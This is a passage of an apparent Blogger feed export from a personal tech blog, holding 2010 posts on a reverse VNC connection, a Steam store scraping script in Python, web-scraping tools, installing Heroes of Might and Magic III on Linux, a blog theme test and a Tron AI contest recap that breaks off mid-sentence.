href='http://blog.macuyiko.com/2010/08/oldie-but-goodie-privilege-escalation.html' title='Oldie But Goodie: Privilege Escalation In Windows'/><author><name>Seppe vanden Broucke</name><uri>https://profiles.google.com/109801607284916240262</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-jv7ZgBEveU8/AAAAAAAAAAI/AAAAAAAASKg/_AAsrCl73m0/s512-c/photo.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-21390211.post-2017042906022429288</id><published>2010-07-02T22:58:00.000+02:00</published><updated>2011-12-18T17:21:52.281+01:00</updated><title type='text'>Note To Self: Remote VNC (Listen) Connection</title><content type='html'>Because I always forget these commands and end up double checking them...&lt;br /&gt;&lt;br /&gt;&lt;h4&gt;Client (Me) - Listening:&lt;/h4&gt;&lt;pre class="prettyprint"&gt;vncviewer -listen &lt;b&gt;PORT&lt;/b&gt;&lt;/pre&gt;&lt;br /&gt;(Using UltraVNC on Windows.)&lt;br /&gt;&lt;br /&gt;&lt;h4&gt;Server - Initiating:&lt;/h4&gt;&lt;pre class="prettyprint"&gt;x11vnc -connect &lt;b&gt;IP&lt;/b&gt;:&lt;b&gt;PORT&lt;/b&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/21390211-2017042906022429288?l=blog.macuyiko.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/2017042906022429288'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/2017042906022429288'/><link rel='alternate' type='text/html' href='http://blog.macuyiko.com/2010/07/note-to-self-remote-vnc-listen.html' title='Note To Self: Remote VNC (Listen) Connection'/><author><name>Seppe vanden Broucke</name><uri>https://profiles.google.com/109801607284916240262</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-jv7ZgBEveU8/AAAAAAAAAAI/AAAAAAAASKg/_AAsrCl73m0/s512-c/photo.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-21390211.post-3361043881283170066</id><published>2010-05-16T18:39:00.008+02:00</published><updated>2010-05-16T19:22:18.296+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='steam'/><category scheme='http://www.blogger.com/atom/ns#' term='games'/><category scheme='http://www.blogger.com/atom/ns#' term='scraping'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><title type='text'></title><content type='html'>&lt;h1&gt;Get A List Of Steam Games (As Of May 2010)&lt;/h1&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Using Python and Beautiful Soup. This updates the previous script posted on this blog.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre class="prettyprint"&gt;&lt;code&gt;from BeautifulSoup import BeautifulSoup&lt;br /&gt;from urllib import urlopen&lt;br /&gt;import re&lt;br /&gt;&lt;br /&gt;CATEGORY_GAMES     = '998'&lt;br /&gt;CATEGORY_VIDEOS    = '999'&lt;br /&gt;CATEGORY_DEMOS     = '10'&lt;br /&gt;CATEGORY_MODS      = '997'&lt;br /&gt;CATEGORY_PACKS     = '996'&lt;br /&gt;CATEGORY_DLC       = '21'&lt;br /&gt;&lt;br /&gt;html_text = urlopen('http://store.steampowered.com/search/?sort_by=&amp;sort_order=ASC&amp;category1='+CATEGORY_GAMES).read().decode('utf-8')&lt;br /&gt;&lt;br /&gt;soup = BeautifulSoup(html_text)&lt;br /&gt;f = open('./output.txt', 'w')&lt;br /&gt;&lt;br /&gt;pages = 1&lt;br /&gt;games = 0&lt;br /&gt;&lt;br /&gt;print "-- Retrieving number of pages..."&lt;br /&gt;for link in soup.findAll('a', attrs={'href' : re.compile(r"http://store.steampowered.com/search/.*&amp;page=\d+")}):&lt;br /&gt; try:&lt;br /&gt;  page = int(link.string)&lt;br /&gt;  if page &gt; pages:&lt;br /&gt;   pages = page&lt;br /&gt; except ValueError:&lt;br /&gt;  pass&lt;br /&gt;&lt;br /&gt;print "-- Pages found:",pages&lt;br /&gt;&lt;br /&gt;for page in range(1,pages+1):&lt;br /&gt; print "-- Retrieving page:",page&lt;br /&gt;&lt;br /&gt; html_text = urlopen('http://store.steampowered.com/search/?sort_by=&amp;sort_order=ASC&amp;category1='+CATEGORY_GAMES+'&amp;page='+str(page)).read().decode('utf-8')&lt;br /&gt; soup = BeautifulSoup(html_text)&lt;br /&gt;&lt;br /&gt; for item in soup.findAll('a', attrs={'class' : re.compile(r'\bsearch_result_row\b')}):&lt;br /&gt;  games += 1&lt;br /&gt;  &lt;br /&gt;  #get information&lt;br /&gt;  appname      = item.find('div', attrs={'class' : re.compile(r'\bsearch_name\b')}).h4.string&lt;br /&gt;  appprice     = item.find('div', attrs={'class' : re.compile(r'\bsearch_price\b')}).string&lt;br /&gt;  appscore     = item.find('div', attrs={'class' : re.compile(r'\bsearch_metascore\b')}).string&lt;br /&gt;  apprelease   = item.find('div', attrs={'class' : re.compile(r'\bsearch_released\b')}).string&lt;br /&gt;  appurl       = item['href']&lt;br /&gt;  appid        = re.match(r"http://store.steampowered.com/(\w+)/(\d+)/", appurl)&lt;br /&gt;  appimage     = re.sub(r"\?t=\d+","",item.find('div', attrs={'class' : re.compile(r'\bsearch_capsule\b')}).img['src'])&lt;br /&gt;  &lt;br /&gt;  #write information to file&lt;br /&gt;  f.write(str(appname)+'\r\n') &lt;br /&gt;  f.write(str(appprice)+'\r\n') &lt;br /&gt;  f.write(str(appurl)+'\r\n') &lt;br /&gt;  f.write(str(appimage)+'\r\n') &lt;br /&gt;  f.write(str(apprelease)+'\r\n') &lt;br /&gt;  f.write(str(appscore)+'\r\n') &lt;br /&gt;  f.write(str(appid.group(1))+"/"+str(appid.group(2))+'\r\n')&lt;br /&gt;  f.write('\r\n') &lt;br /&gt;  &lt;br /&gt;print "-- Games found:",games&lt;br /&gt;f.close()&lt;/code&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/21390211-3361043881283170066?l=blog.macuyiko.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.macuyiko.com/feeds/3361043881283170066/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.macuyiko.com/2010/05/get-list-of-steam-games-as-of-may-2010.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/3361043881283170066'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/3361043881283170066'/><link rel='alternate' type='text/html' href='http://blog.macuyiko.com/2010/05/get-list-of-steam-games-as-of-may-2010.html' title=''/><author><name>Seppe vanden Broucke</name><uri>https://profiles.google.com/109801607284916240262</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-jv7ZgBEveU8/AAAAAAAAAAI/AAAAAAAASKg/_AAsrCl73m0/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-21390211.post-4804727101694697346</id><published>2010-05-14T00:54:00.001+02:00</published><updated>2010-05-14T00:54:15.414+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='scraping'/><category scheme='http://www.blogger.com/atom/ns#' term='note to self'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><title type='text'>Python Web Scraping Tools</title><content type='html'>Just a note for myself, a list of interesting Python tools for my next web scraping project:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://docs.python.org/library/urllib2.html"&gt;urllib2&lt;/a&gt;:&amp;nbsp;extensible library for opening URLs.&lt;/li&gt;&lt;li&gt;&lt;a href="http://pyquery.org/"&gt;PyQuery&lt;/a&gt;: jQuery-like traversing and selecting for Python.&lt;/li&gt;&lt;li&gt;&lt;a href="http://wwwsearch.sourceforge.net/mechanize/"&gt;mechanize&lt;/a&gt;: stateful programmatic web browsing in Python.&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.crummy.com/software/BeautifulSoup/"&gt;Beautiful Soup&lt;/a&gt;: not supported/maintained that much anymore. Latest versions are rather slow and buggy.&lt;/li&gt;&lt;li&gt;&lt;a href="http://scrapy.org/"&gt;Scrapy&lt;/a&gt;: looks nice, includes the URL requesting part as well, with cookie support and such.&lt;/li&gt;&lt;li&gt;&lt;a href="http://codespeak.net/lxml/lxmlhtml.html"&gt;lxml.html&lt;/a&gt;:&amp;nbsp;lxml is a Pythonic binding for the libxml2 and libxslt libraries.&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;Probably going with Scrapy.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/21390211-4804727101694697346?l=blog.macuyiko.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.macuyiko.com/feeds/4804727101694697346/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.macuyiko.com/2010/05/python-web-scraping-tools.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/4804727101694697346'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/4804727101694697346'/><link rel='alternate' type='text/html' href='http://blog.macuyiko.com/2010/05/python-web-scraping-tools.html' title='Python Web Scraping Tools'/><author><name>Seppe vanden Broucke</name><uri>https://profiles.google.com/109801607284916240262</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-jv7ZgBEveU8/AAAAAAAAAAI/AAAAAAAASKg/_AAsrCl73m0/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-21390211.post-8539999184149819597</id><published>2010-04-23T13:30:00.002+02:00</published><updated>2010-04-23T13:32:54.481+02:00</updated><title type='text'>Installing Heroes Of Might And Magic III (3) On Linux (Ubuntu)</title><content type='html'>&lt;p&gt;...to remind myself because I always seem to forget how to.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;1.&lt;/strong&gt; Put the contents of the CD somewhere (e.g. &lt;tt&gt;/tmp/heroes&lt;/tt&gt;).&lt;/p&gt;&lt;p&gt;&lt;strong&gt;2.&lt;/strong&gt; Install:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;/tmp/heroes$./setup.sh&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;3.&lt;/strong&gt; Download and run patch with &lt;tt&gt;--keep&lt;/tt&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;/tmp/heroes$wget ftp://mirrors.dotsrc.org/lokigames/updates/heroes3/heroes3-1.3.1a-unified-x86.run&lt;br /&gt;/tmp/heroes$_POSIX2_VERSION=199209 ./heroes3-1.3.1a-unified-x86.run --keep&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;4.&lt;/strong&gt; Download the patch for the patch:&lt;/p&gt;&lt;p&gt;Dowload &lt;tt&gt;http://downloads.sourceforge.net/goldenfiles/loki_patch-fix-0.1.tar.gz&lt;/tt&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;/tmp/heroes$tar xvfz loki_patch-fix-0.1.tar.gz&lt;br /&gt;/tmp/heroes$cp Loki_patch-fix/fixedpatch heroes3-1.3.1a-unified-x86/bin/Linux/x86/loki_patch&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;5.&lt;/strong&gt; Now update:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;/tmp/heroes$./heroes3-1.3.1a-unified-x86/update.sh&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;6.&lt;/strong&gt; Get the compatibility libs:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;wget http://www.swanson.ukfsn.org/loki/loki_compat_libs-1.3.tar.bz2&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Extract them to a directory you can remember (e.g. &lt;tt&gt;HEROES3_INSTALL_PATH/lib&lt;/tt&gt;).&lt;/p&gt;&lt;p&gt;&lt;strong&gt;7.&lt;/strong&gt; Start the game with (assuming you used &lt;tt&gt;HEROES3_INSTALL_PATH/lib&lt;/tt&gt;):&lt;/p&gt;&lt;pre&gt;&lt;code&gt;LD_PRELOAD=HEROES3_INSTALL_PATH/lib/libstdc++-3-libc6.2-2-2.10.0.so:HEROES3_INSTALL_PATH/lib/libsmpeg-0.4.so.0.1.3:HEROES3_INSTALL_PATH/lib/libsmjpeg-0.2.so.0 HEROES3_INSTALL_PATH/heroes3 -w&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now to get the sound working...&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/21390211-8539999184149819597?l=blog.macuyiko.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/8539999184149819597'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/8539999184149819597'/><link rel='alternate' type='text/html' href='http://blog.macuyiko.com/2010/04/installing-heroes-of-might-and-magic.html' title='Installing Heroes Of Might And Magic III (3) On Linux (Ubuntu)'/><author><name>Seppe vanden Broucke</name><uri>https://profiles.google.com/109801607284916240262</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-jv7ZgBEveU8/AAAAAAAAAAI/AAAAAAAASKg/_AAsrCl73m0/s512-c/photo.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-21390211.post-4155272802149934916</id><published>2010-04-01T23:31:00.005+02:00</published><updated>2010-04-23T13:41:13.358+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='design'/><category scheme='http://www.blogger.com/atom/ns#' term='test'/><category scheme='http://www.blogger.com/atom/ns#' term='meta'/><title type='text'>New Theme, Testing 1, 2, 3...</title><content type='html'>&lt;p&gt;I've been planning to redesign this blog for a while now. I was going to write up the changes myself (I even built a small PHP-based static blog generator engine I might put online later) before finding out Blogger now comes with a great new template designer sporting some very nice themes.&lt;/p&gt;&lt;p&gt;This frees me of the redesign-work, which is nice, because my design skill are "only okay" at best. However, it might turn out that someone else is using the same design, in which case I'll probably change the background and the colors a bit (everybody likes to be unique).&lt;/p&gt;&lt;p&gt;List of changes worth noting:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Main column is wider (blog should still fit on a 1024px screen). This should make things a lot more readable (images and code were getting cramped in the previous design).&lt;/li&gt;&lt;li&gt;The abstract header is gone and replaced by an abstract background. I think it's a nice touch.&lt;/li&gt;&lt;li&gt;Some small custom css changes.&lt;/li&gt;&lt;li&gt;"Advertisement"-sidebar widget is gone. I only made around three dollars of it, it bothered me, and no one was clicking it anyway.&lt;/li&gt;&lt;li&gt;The black theme (and hence the style switcher) is gone. White is the new black (I kept the dark theme around for nostalgia reasons only, things are a lot clearer using a light look).&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;The only thing bothering me now is the WYSIWYG editor for writing posts. I wish I could write Markdown (using something like &lt;a href="http://wmd-editor.com/"&gt;wmd&lt;/a&gt; for example).&lt;/p&gt;&lt;p&gt;In fact I'm going to try writing this post in Markdown to see how the generated html looks (which I will copy paste in Blogger)... You can ignore the rest of this post.&lt;/p&gt;&lt;h1&gt;This is a heading&lt;/h1&gt;&lt;p&gt;Test text please ignore this only to provide some filler text which should look okay from a distance. I would have pasted some dolor sit amet here but I'm too lazy to look it up and don't know it by hard (anymore).&lt;/p&gt;&lt;h2&gt;And this is a sub-heading&lt;/h2&gt;&lt;p&gt;Test text please ignore this only to provide some filler text which should look okay from a distance.&lt;/p&gt;&lt;h3&gt;Another heading&lt;/h3&gt;&lt;p&gt;A smaller filler sentence would go here. Let's see how this look.&lt;/p&gt;&lt;h4&gt;And another heading&lt;/h4&gt;&lt;p&gt;With the last piece of text.&lt;/p&gt;&lt;h3&gt;Let's test code and blockquotes&lt;/h3&gt;&lt;p&gt;This is what she said:&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Here would be a quote. It could be something from a website, too.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;And this is what I coded:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;print("code sample");&lt;br /&gt;function a_lame_function(){&lt;br /&gt;echo "Python is better.";&lt;br /&gt;}&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;And now an image&lt;/h3&gt;&lt;p&gt;&lt;img src="http://wmd-editor.com/images/cloud1.jpg" alt="alt text" title="Optional title" /&gt;&lt;/p&gt;&lt;ol&gt;&lt;li&gt;This is a numbered list&lt;/li&gt;&lt;li&gt;It is very nice&lt;/li&gt;&lt;li&gt;But I don't use it that much&lt;/li&gt;&lt;/ol&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/21390211-4155272802149934916?l=blog.macuyiko.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/4155272802149934916'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/4155272802149934916'/><link rel='alternate' type='text/html' href='http://blog.macuyiko.com/2010/04/new-theme-testing-1-2-3.html' title='New Theme, Testing 1, 2, 3...'/><author><name>Seppe vanden Broucke</name><uri>https://profiles.google.com/109801607284916240262</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-jv7ZgBEveU8/AAAAAAAAAAI/AAAAAAAASKg/_AAsrCl73m0/s512-c/photo.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-21390211.post-6772335283783983364</id><published>2010-03-02T17:48:00.012+01:00</published><updated>2010-04-02T00:08:42.925+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ai'/><category scheme='http://www.blogger.com/atom/ns#' term='challenge'/><category scheme='http://www.blogger.com/atom/ns#' term='contest'/><category scheme='http://www.blogger.com/atom/ns#' term='tron'/><title type='text'>The University Of Waterloo CS Club Tron Challenge, And Some Minimax In General - Part 2</title><content type='html'>(This is the second and final part in the University Of Waterloo CS Club Tron Challenge post series. You can find the first part &lt;a href="http://blog.macuyiko.com/2010/02/university-of-waterloo-cs-club-tron.html" target="new"&gt;here&lt;/a&gt;.)&lt;br /&gt;&lt;br /&gt;Now that the contest is finished, congratulations go out to the first place winner: a1k0n, well done!&lt;br /&gt;&lt;br /&gt;I also wanted to pass on a few remaining interesting links and concepts I haven't yet included or explained in my first post.&lt;br /&gt;&lt;br /&gt;How did I do? 144th place. Not bad for a heuristic, but next year I'll be using minimax as well.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;A small selection of rounds&lt;/h3&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;I'm including some final rounds to show where my bot did well, and where it performed poorly.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_X4W-h82Vgjw/S40zMMa5LgI/AAAAAAAAPVQ/D2y-QyMkIrY/s1600-h/game1_1.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img src="http://4.bp.blogspot.com/_X4W-h82Vgjw/S40zMMa5LgI/AAAAAAAAPVQ/D2y-QyMkIrY/s200/game1_1.png" height="185" width="200" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;The first game starts of like this. My bot is red.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_X4W-h82Vgjw/S40zSO6_dbI/AAAAAAAAPVU/oLvgFvVb8yA/s1600-h/game1_2.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img src="http://1.bp.blogspot.com/_X4W-h82Vgjw/S40zSO6_dbI/AAAAAAAAPVU/oLvgFvVb8yA/s200/game1_2.png" height="185" width="200" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;The board after a few moves. Our bot senses it can reach a wall to block our opponent of by going east...&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_X4W-h82Vgjw/S40zWTKFJOI/AAAAAAAAPVY/00ZwMbDZOWQ/s1600-h/game1_3.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img src="http://4.bp.blogspot.com/_X4W-h82Vgjw/S40zWTKFJOI/AAAAAAAAPVY/00ZwMbDZOWQ/s200/game1_3.png" height="186" width="200" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;Which is what happens here. It's easy to see we've won now.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_X4W-h82Vgjw/S40zayPFGmI/AAAAAAAAPVc/Sy82jJS_Zjw/s1600-h/game1_4.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img src="http://4.bp.blogspot.com/_X4W-h82Vgjw/S40zayPFGmI/AAAAAAAAPVc/Sy82jJS_Zjw/s200/game1_4.png" height="187" width="200" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;Our opponent makes optimal use of the remaining space, but loses.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="clear: both;"&gt;&lt;hr /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_X4W-h82Vgjw/S40ziJsPQpI/AAAAAAAAPVg/qfsp585DN-k/s1600-h/game2_1.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img src="http://3.bp.blogspot.com/_X4W-h82Vgjw/S40ziJsPQpI/AAAAAAAAPVg/qfsp585DN-k/s200/game2_1.png" height="186" width="200" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;The second game. We're red again.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_X4W-h82Vgjw/S40zmK8FPFI/AAAAAAAAPVk/XQoqkw8WuKM/s1600-h/game2_2.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img src="http://2.bp.blogspot.com/_X4W-h82Vgjw/S40zmK8FPFI/AAAAAAAAPVk/XQoqkw8WuKM/s200/game2_2.png" height="185" width="200" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;We've been chasing blue for a bit.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_X4W-h82Vgjw/S40zqEWnZmI/AAAAAAAAPVo/L-7DnhWH5-s/s1600-h/game2_3.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img src="http://2.bp.blogspot.com/_X4W-h82Vgjw/S40zqEWnZmI/AAAAAAAAPVo/L-7DnhWH5-s/s200/game2_3.png" height="186" width="200" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;To close in on blue, we need to go the other way around. But due to our aggressive manoeuvres, we've made a mistake.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_X4W-h82Vgjw/S40zu_gWtjI/AAAAAAAAPVs/U8wAQLbr-M4/s1600-h/game2_4.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img src="http://1.bp.blogspot.com/_X4W-h82Vgjw/S40zu_gWtjI/AAAAAAAAPVs/U8wAQLbr-M4/s200/game2_4.png" height="186" width="200" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;Blue exploits our mistakes and blocks us off. Well done.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="clear: both;"&gt;&lt;hr /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_X4W-h82Vgjw/S40z01RGLaI/AAAAAAAAPVw/v77txiOUSpQ/s1600-h/game3_1.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img src="http://3.bp.blogspot.com/_X4W-h82Vgjw/S40z01RGLaI/AAAAAAAAPVw/v77txiOUSpQ/s200/game3_1.png" height="187" width="200" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;A new game, we're red again.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_X4W-h82Vgjw/S40z4mlqvRI/AAAAAAAAPV0/wH8s8jaroKU/s1600-h/game3_2.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img src="http://2.bp.blogspot.com/_X4W-h82Vgjw/S40z4mlqvRI/AAAAAAAAPV0/wH8s8jaroKU/s200/game3_2.png" height="186" width="200" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;The first moves start of pretty symmetric.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_X4W-h82Vgjw/S40z8uQpHCI/AAAAAAAAPV4/CH2nGH-YMBg/s1600-h/game3_3.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img src="http://1.bp.blogspot.com/_X4W-h82Vgjw/S40z8uQpHCI/AAAAAAAAPV4/CH2nGH-YMBg/s200/game3_3.png" height="186" width="200" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;We're chasing our opponent for a bit. Since we cannot reach him by going north anymore, we'll go down now...&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_X4W-h82Vgjw/S400ApI6mPI/AAAAAAAAPV8/C7fzgJ0HwUI/s1600-h/game3_4.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img src="http://3.bp.blogspot.com/_X4W-h82Vgjw/S400ApI6mPI/AAAAAAAAPV8/C7fzgJ0HwUI/s200/game3_4.png" height="187" width="200" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;Which is what happens here. Our bot quickly senses that we can close blue off. It's pretty hard to eyeball here that we'll end up with more room then blue, but our bot seems to be confident.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_X4W-h82Vgjw/S400E86mIHI/AAAAAAAAPWA/xDc2nh20D8Q/s1600-h/game3_5.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img src="http://3.bp.blogspot.com/_X4W-h82Vgjw/S400E86mIHI/AAAAAAAAPWA/xDc2nh20D8Q/s200/game3_5.png" height="187" width="200" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;Indeed, a few seconds later the situation looks like this. It's clear we've won.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="clear: both;"&gt;&lt;hr /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_X4W-h82Vgjw/S400KOEWHPI/AAAAAAAAPWE/6Dplv6x4NlY/s1600-h/game4_1.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img src="http://1.bp.blogspot.com/_X4W-h82Vgjw/S400KOEWHPI/AAAAAAAAPWE/6Dplv6x4NlY/s200/game4_1.png" height="186" width="200" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;Another game. Now we're in blue. I'm picking this round because my bot had a lot of problems with this setup.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_X4W-h82Vgjw/S400Np8LBXI/AAAAAAAAPWI/dHPrVl_rGeg/s1600-h/game4_2.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img src="http://2.bp.blogspot.com/_X4W-h82Vgjw/S400Np8LBXI/AAAAAAAAPWI/dHPrVl_rGeg/s200/game4_2.png" height="186" width="200" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;By chasing our opponent, we're getting ourselves in a lot of trouble.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_X4W-h82Vgjw/S400RTFHgFI/AAAAAAAAPWM/kTIUrzsghf0/s1600-h/game4_3.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img src="http://4.bp.blogspot.com/_X4W-h82Vgjw/S400RTFHgFI/AAAAAAAAPWM/kTIUrzsghf0/s200/game4_3.png" height="189" width="200" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;And indeed, a few 